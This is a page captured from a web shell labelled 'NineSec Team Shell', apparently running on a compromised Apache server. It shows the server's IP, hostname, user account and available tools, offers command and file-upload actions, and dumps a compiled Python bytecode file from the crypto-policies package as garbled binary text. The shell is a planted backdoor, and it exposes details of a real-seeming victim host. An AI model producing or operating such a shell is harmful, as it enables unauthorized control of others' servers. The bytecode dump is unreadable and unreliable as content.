NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/crypto-policies/python/policygenerators/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/crypto-policies/python/policygenerators/__pycache__/bind.cpython-36.pyc
3

."�d��@sDddlmZmZddlmZddlZddlmZGdd�de�ZdS)�)�check_output�CalledProcessError)�mkstempN�)�ConfigGeneratorc	@sXeZdZdZddhZdZdddddddd d�Zddddd�Zedd��Z	edd��Z
dS)!�
BindGeneratorZbindZdnssecz>systemctl try-reload-or-restart bind.service 2>/dev/null || :
�DSA�NSEC3DSA�RSASHA1�NSEC3RSASHA1�	RSASHA256�	RSASHA512�ECDSAP256SHA256�ECDSAP384SHA384�ED25519�ED448)zDSA-SHA1zRSA-SHA1zRSA-SHA2-256zRSA-SHA2-512zECDSA-SHA2-256zECDSA-SHA2-384z
EDDSA-ED25519zEDDSA-ED448zSHA-1zSHA-256zSHA-384�GOST)ZSHA1zSHA2-256zSHA2-384rcCs|j}d}|d7}|d7}|d7}xL|dD]@}y&x |j|D]}||�d�7}q>WWq,tk
rjYq,Xq,Wd|dkr�d|d	kr�|d
7}d|dkr�d|d	kr�|d
7}|d7}|d7}x>|dD]2}y||j|�d�7}Wq�tk
r�Yq�Xq�W|d7}|S)N�zdisable-algorithms "." {
zRSAMD5;
z	ECCGOST;
Zsignz;
zECDSA-SHA256Z	SECP256R1�groupzECDSAP256SHA256;
zECDSA-SHA384Z	SECP384R1zECDSAP384SHA384;
z};
zdisable-ds-digests "." {
�hash)Zdisabled�sign_not_map�KeyError�hash_not_map)�clsZpolicyZip�s�iZ
disabled_sign�r�;./usr/share/crypto-policies/python/policygenerators/bind.py�generate_config%s0

zBindGenerator.generate_configcCs�t�\}}z�tj|d��$}|jd�|j|�|jd�WdQRXytd|g�}Wn>tk
r~|jd�|jd|�dStk
r�YnXWdtj|�XdS)	N�wz
options {
z
};
z/usr/sbin/named-checkconfz*There is an error in bind generated policyz
Policy:
%sFT)	r�os�fdopen�writerrZeprint�OSError�unlink)r�config�fd�path�f�_rrr�test_configCs 




zBindGenerator.test_configN)rr	)r
r)r)r
)r)r)r)r)�__name__�
__module__�__qualname__ZCONFIG_NAMEZSCOPESZ
RELOAD_CMDrr�classmethodrr*rrrrr
s"r)	�
subprocessrrZtempfilerr Zconfiggeneratorrrrrrr�<module>s

NineSec Team - 2022